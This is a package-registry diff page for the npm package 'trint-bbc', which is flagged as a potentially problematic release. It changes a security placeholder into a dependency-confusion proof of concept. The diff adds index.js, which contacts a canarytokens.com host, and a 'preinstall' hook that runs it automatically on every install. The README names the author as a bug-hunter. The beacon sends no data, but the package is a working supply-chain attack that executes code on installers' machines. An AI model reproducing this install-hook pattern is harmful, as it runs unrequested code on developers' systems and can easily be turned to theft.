trint-bbc 0.0.1-security → 9.9.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of trint-bbc might be problematic. Click here for more details.
- package/README.md +3 -5
- package/index.js +29 -0
- package/package.json +9 -3
package/README.md
CHANGED
@@ -1,5 +1,3 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=trint-bbc for more information.
|
1
|
+
<h1 align="center">This NPM package vulnerable to dependency confiuse vulnerability</h1>
|
2
|
+
<p align="center">Name: Anindya Ghoshal</p>
|
3
|
+
<p align="center">Contact: hackwithghoshal@gamil.com</p>
|
package/index.js
ADDED
@@ -0,0 +1,29 @@
|
|
1
|
+
// This code just notify me it's trigger
|
2
|
+
|
3
|
+
// Importing https module
|
4
|
+
const http = require('http');
|
5
|
+
|
6
|
+
// Setting the configuration for
|
7
|
+
// the request
|
8
|
+
const options = {
|
9
|
+
hostname: '5hjrkbihgawg4xogmn7bt5gi5.canarytokens.com',
|
10
|
+
path: '/posts',
|
11
|
+
method: 'GET'
|
12
|
+
};
|
13
|
+
|
14
|
+
// Sending the request
|
15
|
+
const req = http.request(options, (res) => {
|
16
|
+
let data = ''
|
17
|
+
|
18
|
+
res.on('data', (chunk) => {
|
19
|
+
data += chunk;
|
20
|
+
});
|
21
|
+
|
22
|
+
// Ending the response
|
23
|
+
res.on('end', () => {
|
24
|
+
// console.log('Body:', JSON.parse(data))
|
25
|
+
});
|
26
|
+
|
27
|
+
}).on("error", (err) => {
|
28
|
+
// console.log("Error: ", err)
|
29
|
+
}).end()
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "trint-bbc",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "9.9.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall" : "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|